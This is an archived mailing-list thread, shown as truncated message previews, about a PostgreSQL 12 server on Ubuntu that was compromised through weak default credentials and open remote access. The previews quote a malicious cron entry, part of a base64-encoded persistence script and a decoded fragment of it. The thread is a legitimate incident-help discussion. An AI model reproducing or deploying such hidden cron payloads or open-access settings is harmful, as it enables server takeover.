Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Julien Rouhaud
On Mon, Jan 02, 2023 at 08:53:32AM +0200, Antonis Christodoulou wrote: > And for the record, Ahmet, here’s a weird cron job: > > christan@vultr:~$ sudo crontab -l -u postgres > 13 * * * * > /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > > /dev/null 2>&1 & > > Had no idea

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Matthias Apitz
El día Montag, Januar 02, 2023 a las 11:54:53 +0300, Ebubekir Büyüktosun escribió: >Hey Antonis, > > > >If you decode the below Base64 code, you will see the following bash >script that is tried to execute on your machine; > > ... Without analyzing the shell code in detail, this

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Ebubekir Büyüktosun
Hey Antonis, If you decode the below Base64 code, you will see the following bash script that is tried to execute on your machine; x8C8W8llVk0Rzccy9N0ggCOI2VBAcexec &>/dev/nullexport PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-02 Thread Antonis Christodoulou
Hey Matthias, here it is: christan@vultr:~$ sudo cat /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh #!/bin/bash exec &>/dev/null echo x8C8W8llVk0Rzccy9N0ggCOI2VBAc echo eDhDOFc4bGxWazBSemNjeTlOMGdnQ09JMlZCQWMKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9z

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Matthias Apitz
El día lunes, enero 02, 2023 a las 08:53:32a. m. +0200, Antonis Christodoulou escribió: > And for the record, Ahmet, here’s a weird cron job: > > christan@vultr:~$ sudo crontab -l -u postgres > 13 * * * * > /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > > /dev/null 2>&

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Antonis Christodoulou
And for the record, Ahmet, here’s a weird cron job: christan@vultr:~$ sudo crontab -l -u postgres 13 * * * * /var/lib/postgresql/.systemd-private-x8C8W8llVk0Rzccy9N0ggCOI2VBAc.sh > /dev/null 2>&1 & Had no idea somebody can add something like this externally... > On 2 Jan 2023, at 8:34 AM, Anto

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Antonis Christodoulou
Hmm wow, never thought this could be the case. Yes I am using postgres/postgres for my db, and I am indeed allowing full remote access in my pg_hba.conf (I would definitely change this, just wanted to start testing it…) # Remote database connections host all postgres 0.0.0.0/0 md5 > On 2 Jan 20

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Ahmet Demir
And I can suggest checking cron jobs both on root and postgres, killing those processes and changing root postgres passwords. Ahmet On Mon, 2 Jan 2023 at 09:19, Tom Lane wrote: > Antonis Christodoulou < > vi1p193mb051005c8be974502a0d4a315e1...@vi1p193mb0510.eurp193.prod.outlook.com> > writes:

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Tom Lane
Antonis Christodoulou writes: > This is a machine in the cloud, I can’t disconnect it. In that case, you need to be taking nonzero security precautions. > And yes the ps looks like this precisely when I do a fresh restart. I kill > all postgres processes and restart: > Then this is the outpu

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Antonis Christodoulou
I just added postgres to the sudoers list, nothing, same issue (slightly different journalctl logs) This is a machine in the cloud, I can’t disconnect it. And yes the ps looks like this precisely when I do a fresh restart. I kill all postgres processes and restart: christan@vultr:~$ for i in `

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Rob Sargent
On 1/1/23 14:48, Adrian Klaver wrote: On 1/1/23 13:11, Antonis Christodoulou wrote: Hello Adrian, No it’s not open, but the database itself has very simple credentials (I am just starting with PostgreSQL). What’s weird about the logs? Not the logs the ps output. I would expect to see somethi

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Adrian Klaver
On 1/1/23 13:11, Antonis Christodoulou wrote: Hello Adrian, No it’s not open, but the database itself has very simple credentials (I am just starting with PostgreSQL). What’s weird about the logs? Not the logs the ps output. I would expect to see something like: ps -ef | grep postgres postgr

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Antonis Christodoulou
Hello Adrian, No it’s not open, but the database itself has very simple credentials (I am just starting with PostgreSQL). What’s weird about the logs? > On 1 Jan 2023, at 11:00 PM, Adrian Klaver wrote: > > On 1/1/23 12:51, Antonis Christodoulou wrote: >> Hi, >> I have set up PostgreSQL accordi

Re: PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Adrian Klaver
On 1/1/23 12:51, Antonis Christodoulou wrote: Hi, I have set up PostgreSQL according to this link: https://www.cherryservers.com/blog/how-to-install-and-setup-postgresql-server-on-ubuntu-20-04 The

PostgreSQL 12 service failing in Ubuntu 20.04 after a few hours

2023-01-01 Thread Antonis Christodoulou
Hi, I have set up PostgreSQL according to this link: https://www.cherryservers.com/blog/how-to-install-and-setup-postgresql-server-on-ubuntu-20-04 The issue is that after a few hours of operation, e